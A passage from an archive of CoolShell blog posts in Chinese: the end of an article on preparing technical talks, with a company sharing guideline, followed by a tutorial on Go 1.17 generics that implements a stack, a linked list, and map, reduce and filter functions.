target=\"_blank\">从一到无穷大</a>》，用各种简单通俗通懂的话把各种复杂的科学知识讲的清清楚楚。还有看过的几本很好的书，有一本是《<a href=\"https://book.douban.com/subject/5273955/\" rel=\"noopener\" target=\"_blank\">Windows程序设计</a>》，从一个hello world的程序开始一步一步教你Windows下的原生态编程。</li>\n<li><strong>有各种各样的推导和方案的比较，让你知其然知其所以然</strong>。有了不同方案的比较，才可能让人有全面的认识。这个方面的经典作著是《<a href=\"https://book.douban.com/subject/5387403/\" rel=\"noopener\" target=\"_blank\">Effective C++</a>》。</li>\n<li><strong>原理、为什么、思路、方法论会让人一通百通</strong>。这里面最经典的恐怕就是《<a href=\"https://book.douban.com/subject/5387403/\" rel=\"noopener\" target=\"_blank\">十万个为什么</a>》了，在计算机方面也有几本经典书，有《<a href=\"https://book.douban.com/subject/1467587/\" rel=\"noopener\" target=\"_blank\">Unix编程艺术</a>》、《<a href=\"https://book.douban.com/subject/1052241/\" rel=\"noopener\" target=\"_blank\">设计模式</a>》、《<a href=\"https://book.douban.com/subject/1230413/\" rel=\"noopener\" target=\"_blank\">深入理解计算机系统</a>》等书，以及《<a href=\"http://www.kegel.com/c10k.html\" rel=\"noopener\" target=\"_blank\">The C10K Problem</a>》等很多技术论文。</li>\n</ul>\n<p>其实，从教科书，到专业书，再到论文，都有上面这些不错的特质。<span id=\"more-21589\"></span></p>\n<p>所以，如果你想做一个好的技术分享的话，下面是我总结出来的方法，供你参考。</p>\n<ul>\n<li><strong>先描述好一个问题</strong>。这样能够听众带入进来，如果这个问题是他们感同身受的，那是最好了。千万不要一上来就说What，或是直接冲进答案里。这样的分享是在灌输和填鸭。把Why说清楚。没有Why，直接谈What的技术分享，通常来说价值不大。</li>\n<li><strong>How比What重要</strong>。在讲How的时候，也就是如何解这个问题。\n<ul>\n<li>先要把问题模型说清楚，有了问题模型这个框框后，方案才有意义。</li>\n<li>然后要有不同技术的比较。有了比较后，听众才会更相信你。</li>\n<li>直接上What的技术细节，其实没有太大意义。</li>\n</ul>\n</li>\n<li><strong>一定要有Best Practice或方法论总结</strong>，否则上不了档次的。也就是分享中大家可以得到的重要收获。</li>\n</ul>\n<p>说明了这个模型就是：<strong>问题 –&gt; 方案 –&gt; 总结。这其中是有一定的心理学模型的，具体表现如下：</strong></p>\n<ul>\n<li>用问题来吸引受众，带着受众来一起思考</li>\n<li>用问题模型来框住受众的思考范围，让受众聚焦</li>\n<li>给出几种不同的解决方案，比较他们的优缺点，让受众有一种解决问题的参与感。</li>\n<li>最后，给出最佳实践，方法论或套路，因为有了前三步的铺垫，受众欣然接受。</li>\n<li>整个过程会让受众有强烈的成长感和收获感。</li>\n</ul>\n<p>这里有几个示例，也是我在我司 MegaEase 内部的技术分享，供你参考（<a href=\"https://www.youtube.com/user/chenhaox/videhttps://www.youtube.com/channel/UCJhxX8SXcYdNWc6QMbWKs7Aos\" rel=\"noopener\" target=\"_blank\">我个人的YouTube频道</a>）</p>\n<p>技术分享：<a href=\"https://youtu.be/qB40kqhTyYM\" rel=\"noopener\" target=\"_blank\">Prometheus是怎么存储数据的</a>（Youtube）</p>\n<p></p>\n<p>技术分享：<a href=\"https://www.youtube.com/watch?v=VnbC5RG1fEo\" rel=\"noopener\" target=\"_blank\">Distributed Lock Manager</a>（Youtube）</p>\n<p></p>\n<p>下面是我写在我们公司内的Knowledge Sharing中的Best Practice，供参考</p>\n<h2>Sharing Guideline</h2>\n<p>Please follow the following sharing protocols</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/tree/master/sharing#understand-sharing\" id=\"user-content-understand-sharing\"></a>Understand Sharing</h3>\n<ul>\n<li>Sharing is the hard way to learn knowledge. The presenter gains the biggest advantages. not audience. 分享是学习知识的最难的方式。分享者获得的好处最最多的，而不是观众。</li>\n<li>Sharing can open the knowledge door for the audience, but you have to walk to knowledge by yourself. 分享可以为听众打开知识的大门，但你能不能获得知识还要靠你自己。</li>\n</ul>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/tree/master/sharing#best-practices\" id=\"user-content-best-practices\"></a>Best Practices</h3>\n<p>To perform a great sharing, please follow the below practices.</p>\n<ul>\n<li>Do not share a big topic, a small topic is better. A big topic could make the audience lose focus. Remember, <a href=\"https://en.wikipedia.org/wiki/Minimalism#Minimalist_design_and_architecture\" rel=\"nofollow\">Less is More!</a></li>\n<li>Sharing time less than 60 mins is the best.</li>\n<li>English language for slides is preferred.</li>\n<li>While prepare the sharing contents, it’s better to discuss with the senior people to help you to see the whole picture, understand the good side and bad side, know what you don’t know … etc.</li>\n<li>Strong Recommend Materials Outlines\n<ul>\n<li>What’s the Problem?</li>\n<li>How to Solve the Problem?</li>\n<li>The Best Solution or Practice.</li>\n<li>The Mechanism, Key Techniques, and Source Code</li>\n<li>Pros/Cons</li>\n<li>References (Further reading)</li>\n</ul>\n</li>\n</ul>\n<blockquote><p>For example, if you want to sharing a topic about Docker. the following outlines would be good one:</p>\n<ul>\n<li>What’s the major problems need to solve. (Provision, Environment, Isolation etc.)</li>\n<li>The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)</li>\n<li>The Best Solution – Docker. Why?</li>\n<li>Docker’s key techniques – image, cgroup, union fs, namespace…</li>\n<li>Docker’s Pros/Cons</li>\n<li>Further reading list.</li>\n</ul>\n</blockquote>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"173\" src=\"../wp-content/uploads/2021/07/截屏2021-07-13-12.53.33.png\" width=\"573\"/></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20276.html\"><img alt=\"别让自己“墙”了自己\" height=\"150\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2021-9-4 Go编程模式 ： 泛型编程.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-21627\" height=\"203\" src=\"../wp-content/uploads/2021/09/go-generics-1024x512.png\" width=\"406\"/>Go语言的1.17版本发布了，其中开始正式支持泛型了。虽然还有一些限制（比如，不能把泛型函数export），但是，可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了，再也不需要使用反射或是go generation这些难用的技术了。周末的时候，我把Go 1.17下载下来，然后，体验了一下泛型编程，还是很不错的。下面，就让我们来看一下Go的泛型编程。（注：不过，如果你对泛型编程的重要性还不是很了解的话，你可以先看一下之前的这篇文章《<a href=\"https://coolshell.cn/articles/21179.html\" rel=\"noopener\" target=\"_blank\" title=\"Go 编程模式：Go Generation\">Go编程模式：Go Generation</a>》，然后再读一下《<a href=\"https://coolshell.cn/articles/21164.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：Map-Reduce\">Go编程模式：MapReduce</a>》）</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第10 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式 ： 泛型编程</span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21263.html\" rel=\"prev\" title=\"Go 编程模式：k8s Visitor 模式\">上一篇文章</a></span></nav></section>\n<h4>初探</h4>\n<p>我们先来看一个简单的示例：</p>\n<p><span id=\"more-21615\"></span></p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\n\nfunc print[T any] (arr []T) {\n  for _, v := range arr {\n    fmt.Print(v)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}\n\nfunc main() {\n  strs := []string{\"Hello\", \"World\",  \"Generics\"}\n  decs := []float64{3.14, 1.14, 1.618, 2.718 }\n  nums := []int{2,4,6,8}\n\n  print(strs)\n  print(decs)\n  print(nums)\n}</pre>\n<p>上面这个例子中，有一个 <code>print()</code> 函数，这个函数就是想输出数组的值，如果没有泛型的话，这个函数需要写出 <code>int</code> 版，<code>float</code>版，<code>string</code> 版，以及我们的自定义类型（<code>struct</code>）的版本。现在好了，有了泛型的支持后，我们可以使用 <code>[T any]</code> 这样的方式来声明一个泛型类型（有点像C++的 <code>typename T</code>），然后面都使用 <code>T</code> 来声明变量就好。</p>\n<p>上面这个示例中，我们泛型的 <code>print()</code> 支持了三种类型的适配—— <code>int</code>型，<code>float64</code>型，和 <code>string</code>型。要让这段程序跑起来需要在编译行上加上 <code>-gcflags=-G=3</code>编译参数（这个编译参数会在1.18版上成为默认参数），如下所示：</p>\n<pre class=\"EnlighterJSRAW\">$ go run -gcflags=-G=3 ./main.go</pre>\n<p>有了个操作以后，我们就可以写一些标准的算法了，比如，一个查找的算法</p>\n<pre class=\"EnlighterJSRAW\">func find[T comparable] (arr []T, elem T) int {\n  for i, v := range arr {\n    if  v == elem {\n      return i\n    }\n  }\n  return -1\n}</pre>\n<p>我们注意到，我们没有使用 <code>[T any]</code>的形式，而是使用 <code>[T comparable]</code>的形式，<code>comparable</code>是一个接口类型，其约束了我们的类型需要支持 <code>==</code> 的操作， 不然就会有类型不对的编译错误。上面的这个 <code>find()</code> 函数同样可以使用于 <code>int</code>, <code>float64</code>或是<code>string</code>类型。</p>\n<p>从上面的这两个小程序来看，Go语言的泛型已基本可用了，只不过，还有三个问题：</p>\n<ul>\n<li>一个是 <code>fmt.Printf()</code>中的泛型类型是 <code>%v</code> 还不够好，不能像c++ <code>iostream</code>重载 <code>&gt;&gt;</code> 来获得程序自定义的输出。</li>\n<li>另外一个是，go不支持操作符重载，所以，你也很难在泛型算法中使用“泛型操作符”如：<code>==</code> 等</li>\n<li>最后一个是，上面的 <code>find()</code> 算法依赖于“数组”，对于hash-table、tree、graph、link等数据结构还要重写。也就是说，没有一个像C++ STL那样的一个泛型迭代器（这其中的一部分工作当然也需要通过重载操作符（如：<code>++</code> 来实现）</li>\n</ul>\n<p>不过，这个已经很好了，让我们来看一下，可以干哪些事了。</p>\n<h4>数据结构</h4>\n<h5>Stack 栈</h5>\n<p>编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面，我们用Slices这个结构体来实现一个Stack的数结构。</p>\n<p>首先，我们可以定义一个泛型的Stack</p>\n<pre class=\"EnlighterJSRAW\">type stack [T any] []T</pre>\n<p>看上去很简单，还是 <code>[T any]</code> ，然后 <code>[]T</code> 就是一个数组，接下来就是实现这个数据结构的各种方法了。下面的代码实现了 <code>push()</code> ，<code>pop()</code>，<code>top()</code>，<code>len()</code>，<code>print()</code>这几个方法，这几个方法和 C++的STL中的 Stack很类似。（注：目前Go的泛型函数不支持 export，所以只能使用第一个字符是小写的函数名）</p>\n<pre class=\"EnlighterJSRAW\">func (s *stack[T]) push(elem T) {\n  *s = append(*s, elem)\n}\n\nfunc (s *stack[T]) pop() {\n  if len(*s) &gt; 0 {\n    *s = (*s)[:len(*s)-1]\n  } \n}\nfunc (s *stack[T]) top() *T{\n  if len(*s) &gt; 0 {\n    return &amp;(*s)[len(*s)-1]\n  } \n  return nil\n}\n\nfunc (s *stack[T]) len() int{\n  return len(*s)\n}\n\nfunc (s *stack[T]) print() {\n  for _, elem := range *s {\n    fmt.Print(elem)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}</pre>\n<p>上面的这个例子还是比较简单的，不过在实现的过程中，对于一个如果栈为空，那么 <code>top()</code>要么返回<code>error</code>要么返回空值，在这个地方卡了一下。因为，之前，我们返回的“空”值，要么是 int 的<code>0</code>，要么是 string 的 <code>“”</code>，然而在泛型的<code>T</code>下，这个值就不容易搞了。也就是说，除了类型泛型后，还需要有一些“值的泛型”（注：在C++中，如果你要用一个空栈进行 <code>top()</code> 操作，你会得到一个 segmentation fault），所以，这里我们返回的是一个指针，这样可以判断一下指针是否为空。</p>\n<p>下面是如何使用这个stack的代码。</p>\n<pre class=\"EnlighterJSRAW\">func main() {\n\n  ss := stack[string]{}\n  ss.push(\"Hello\")\n  ss.push(\"Hao\")\n  ss.push(\"Chen\")\n  ss.print()\n  fmt.Printf(\"stack top is - %v\\n\", *(ss.top()))\n  ss.pop()\n  ss.pop()\n  ss.print()\n\n  \n  ns := stack[int]{}\n  ns.push(10)\n  ns.push(20)\n  ns.print()\n  ns.pop()\n  ns.print()\n  *ns.top() += 1\n  ns.print()\n  ns.pop()\n  fmt.Printf(\"stack top is - %v\\n\", ns.top())\n\n}</pre>\n<p> </p>\n<h5>LinkList 双向链表</h5>\n<p>下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法：</p>\n<ul>\n<li><code>add()</code> – 从头插入一个数据结点</li>\n<li><code>push()</code> – 从尾插入一个数据结点</li>\n<li><code>del()</code> – 删除一个结点（因为需要比较，所以使用了 <code>compareable</code> 的泛型）</li>\n<li><code>print()</code> – 从头遍历一个链表，并输出值。</li>\n</ul>\n<pre class=\"EnlighterJSRAW\">type node[T comparable] struct {\n  data T\n  prev *node[T]\n  next *node[T]\n}\n\ntype list[T comparable] struct {\n  head, tail *node[T]\n  len int\n}\n\nfunc (l *list[T]) isEmpty() bool {\n  return l.head == nil &amp;&amp; l.tail == nil\n}\n\nfunc (l *list[T]) add(data T) {\n  n := &amp;node[T] {\n    data : data,\n    prev : nil,\n    next : l.head,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.head.prev = n\n  l.head = n\n}\n\nfunc (l *list[T]) push(data T) { \n  n := &amp;node[T] {\n    data : data,\n    prev : l.tail,\n    next : nil,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.tail.next = n\n  l.tail = n\n}\n\nfunc (l *list[T]) del(data T) { \n  for p := l.head; p != nil; p = p.next {\n    if data == p.data {\n      \n      if p == l.head {\n        l.head = p.next\n      }\n      if p == l.tail {\n        l.tail = p.prev\n      }\n      if p.prev != nil {\n        p.prev.next = p.next\n      }\n      if p.next != nil {\n        p.next.prev = p.prev\n      }\n      return \n    }\n  } \n}\n\nfunc (l *list[T]) print() {\n  if l.isEmpty() {\n    fmt.Println(\"the link list is empty.\")\n    return \n  }\n  for p := l.head; p != nil; p = p.next {\n    fmt.Printf(\"[%v] -&gt; \", p.data)\n  }\n  fmt.Println(\"nil\")\n}</pre>\n<p>上面这个代码都是一些比较常规的链表操作，学过链表数据结构的同学应该都不陌生，使用的代码也不难，如下所示，都很简单，看代码就好了。</p>\n<pre class=\"EnlighterJSRAW\">func main(){\n  var l = list[int]{}\n  l.add(1)\n  l.add(2)\n  l.push(3)\n  l.push(4)\n  l.add(5)\n  l.print() //[5] -&gt; [2] -&gt; [1] -&gt; [3] -&gt; [4] -&gt; nil\n  l.del(5)\n  l.del(1)\n  l.del(4)\n  l.print() //[2] -&gt; [3] -&gt; nil\n  \n}</pre>\n<h4>函数式范型</h4>\n<p>接下来，我们就要来看一下我们函数式编程的三大件 <code>map()</code> 、 <code>reduce()</code> 和 <code>filter()</code> 在之前的《<a href=\"https://coolshell.cn/articles/21164.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：Map-Reduce\">Go编程模式：Map-Reduce</a>》文章中，我们可以看到要实现这样的泛型，需要用到反射，代码复杂到完全读不懂。下面来看一下真正的泛型版本。</p>\n<h5>泛型Map</h5>\n<pre class=\"EnlighterJSRAW\">func gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 {\n  result := make([]T2, len(arr))\n  for i, elem := range arr {\n    result[i] = f(elem)\n  }\n  return result\n}</pre>\n<p>在上面的这个 map函数中我使用了两个类型 – <code>T1</code> 和 <code>T2</code> ，</p>\n<ul>\n<li><code>T1</code> – 是需要处理数据的类型</li>\n<li><code>T2</code> – 是处理后的数据类型</li>\n</ul>\n<p><code>T1</code> 和 <code>T2</code> 可以一样，也可以不一样。</p>\n<p>我们还有一个函数参数 –  <code>func(T1) T2</code> 意味着，进入的是 <code>T1</code> 类型的，出来的是 <code>T2</code> 类型的。</p>\n<p>然后，整个函数返回的是一个 <code>[]T2</code></p>\n<p>好的，我们来看一下怎么使用这个map函数：</p>\n<pre class=\"EnlighterJSRAW\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nsquares := gMap(nums, func (elem int) int {\n  return elem * elem\n})\nprint(squares)  //0 1 4 9 16 25 36 49 64 81 \n\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := gMap(strs, func(s string) string  {\n  return strings.ToUpper(s)\n})\nprint(upstrs) // HAO CHEN MEGAEASE \n\n\ndict := []string{\"零\", \"壹\", \"贰\", \"叁\", \"肆\", \"伍\", \"陆\", \"柒\", \"捌\", \"玖\"}\nstrs =  gMap(nums, func (elem int) string  {\n  return  dict[elem]\n})\nprint(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖</pre>\n<h5>泛型 Reduce</h5>\n<p>接下来，我们再来看一下我们的Reduce函数，reduce函数是把一堆数据合成一个。</p>\n<pre class=\"EnlighterJSRAW\">func gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 {\n  result := init\n  for _, elem := range arr {\n    result = f(result, elem)\n  }\n  return result\n}</pre>\n<p>函数实现起来很简单，但是感觉不是很优雅。</p>\n<ul>\n<li>也是有两个类型 <code>T1</code> 和 <code>T2</code>，前者是输出数据的类型，后者是佃出数据的类型。</li>\n<li>因为要合成一个数据，所以需要有这个数据的初始值 <code>init</code>，是 <code>T2</code> 类型</li>\n<li>而自定义函数 <code>func(T2, T1) T2</code>，会把这个init值传给用户，然后用户处理完后再返回出来。</li>\n</ul>\n<p>下面是一个使用上的示例——求一个数组的和</p>\n<pre class=\"EnlighterJSRAW\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nsum := gReduce(nums, 0, func (result, elem int) int  {\n    return result + elem\n})\nfmt.Printf(\"Sum = %d \\n\", sum)</pre>\n<h5>泛型 filter</h5>\n<p>filter函数主要是用来做过滤的，把数据中一些符合条件（filter in）或是不符合条件（filter out）的数据过滤出来，下面是相关的代码示例</p>\n<pre class=\"EnlighterJSRAW\">func gFilter[T any] (arr []T, in bool, f func(T) bool) []T {\n  result := []T{}\n  for _, elem := range arr {\n    choose := f(elem)\n    if (in &amp;&amp; choose) || (!in &amp;&amp; !choose) {\n      result = append(result, elem)\n    }\n  }\n  return result\n}\n\nfunc gFilterIn[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, true, f)\n}\n\nfunc gFilterOut[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, false, f)\n}</pre>\n<p>其中，用户需要提从一个 <code>bool</code> 的函数，我们会把数据传给用户，然后用户只需要告诉我行还是不行，于是我们就会返回一个过滤好的数组给用户。</p>\n<p>比如，我们想把数组中所有的奇数过滤出来</p>\n<pre class=\"EnlighterJSRAW\">nums := []int {0,1,2,3,4,5,6,7,8,9}\nodds := gFilterIn(nums, func (elem int) bool  {\n    return elem % 2 == 1\n})\nprint(odds)</pre>\n<h4>业务示例</h4>\n<p>正如《<a href=\"https://coolshell.cn/articles/21164.html\" rel=\"noopener\" target=\"_blank\" title=\"Go编程模式：Map-Reduce\">Go编程模式：Map-Reduce</a>》中的那个业务示例，我们在这里再做一遍。</p>\n<p>首先，我们先声明一个员工对象和相关的数据</p>\n<pre class=\"EnlighterJSRAW\">type Employee struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   float32\n}\n\nvar employees = []Employee{\n  {\"Hao\", 44, 0, 8000.5},\n  {\"Bob\", 34, 10, 5000.5},\n  {\"Alice\", 23, 5, 9000.0},\n  {\"Jack\", 26, 0, 4000.0},\n  {\"Tom\", 48, 9, 7500.75},\n  {\"Marry\", 29, 0, 6000.0},\n  {\"Mike\", 32, 8, 4000.3},\n}</pre>\n<p>然后，我们想统一下所有员工的薪水，我们就可以使用前面的reduce函数</p>\n<pre class=\"EnlighterJSRAW\">total_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 {\n  return result + e.Salary\n})\nfmt.Printf(\"Total Salary: %0.2f\\n\", total_pay) // Total Salary: 43502.05</pre>\n<p>我们函数这个 <code>gReduce</code> 函数有点啰嗦，还需要传一个初始值，在用户自己的函数中，还要关心 <code>result</code> 我们还是来定义一个更好的版本。</p>\n<p>一般来说，我们用 reduce 函数大多时候基本上是统计求和或是数个数，所以，是不是我们可以定义的更为直接一些？比如下面的这个 <code>CountIf()</code>，就比上面的 Reduce 干净了很多。</p>\n<pre class=\"EnlighterJSRAW\">func gCountIf[T any](arr []T, f func(T) bool) int {\n  cnt := 0\n  for _, elem := range arr {\n    if f(elem) {\n      cnt += 1\n    }\n  }\n  return cnt;\n}</pre>\n<p>我们做求和，我们也可以写一个Sum的泛型。</p>\n<ul>\n<li>处理 <code>T</code> 类型的数据，返回 <code>U</code>类型的结果</li>\n<li>然后，用户只需要给我一个需要统计的 <code>T</code> 的 <code>U</code> 类型的数据就可以了。</li>\n</ul>\n<p>代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">type Sumable interface {\n  type int, int8, int16, int32, int64,\n        uint, uint8, uint16, uint32, uint64,\n        float32, float64\n}\n\nfunc gSum[T any, U Sumable](arr []T, f func(T) U) U {\n  var sum U\n  for _, elem := range arr {\n    sum += f(elem)\n  }\n  return sum\n}</pre>\n<p>上面的代码我们动用了一个叫 Sumable 的接口，其限定了 U 类型，只能是 Sumable里的那些类型，也就是整型或浮点型，这个支持可以让我们的泛型代码更健壮一些。</p>\n<p>于是，我们就可以完成下面的事了。</p>\n<p><strong>1）统计年龄大于40岁的员工数</strong></p>\n<pre class=\"EnlighterJSRAW\">old := gCountIf(employees, func (e Employee) bool  {\n    return e.Age &gt; 40\n})\nfmt.Printf(\"old people(&gt;40): %d\\n\", old) \n// ld people(&gt;40): 2</pre>\n<p><strong>2）统计薪水超过 6000元的员工数</strong></p>\n<pre class=\"EnlighterJSRAW\">high_pay := gCountIf(employees, func(e Employee) bool {\n  return e.Salary &gt;= 6000\n})\nfmt.Printf(\"High Salary people(&gt;6k): %d\\n\", high_pay) \n//High Salary people(&gt;6k): 4</pre>\n<p><strong>3）统计年龄小于30岁的员工的薪水</strong></p>\n<pre class=\"EnlighterJSRAW\">younger_pay := gSum(employees, func(e Employee) float32 {\n  if e.Age &lt; 30 {\n      return e.Salary\n  } \n  return 0\n})\nfmt.Printf(\"Total Salary of Young People: %0.2f\\n\", younger_pay)\n//Total Salary of Young People: 19000.00</pre>\n<p><strong>4）统计全员的休假天数</strong></p>\n<pre class=\"EnlighterJSRAW\">total_vacation := gSum(employees, func(e Employee) int {\n  return e.Vacation\n})\nfmt.Printf(\"Total Vacation: %d day(s)\\n\", total_vacation)\n//Total Vacation: 32 day(s)</pre>\n<p><strong>5）把没有休假的员工过滤出来</strong></p>\n<pre class=\"EnlighterJSRAW\">no_vacation := gFilterIn(employees, func(e Employee) bool {\n  return e.Vacation == 0\n})\nprint(no_vacation)\n//{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}</pre>\n<p>怎么样，你大概了解了泛型编程的意义了吧。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a 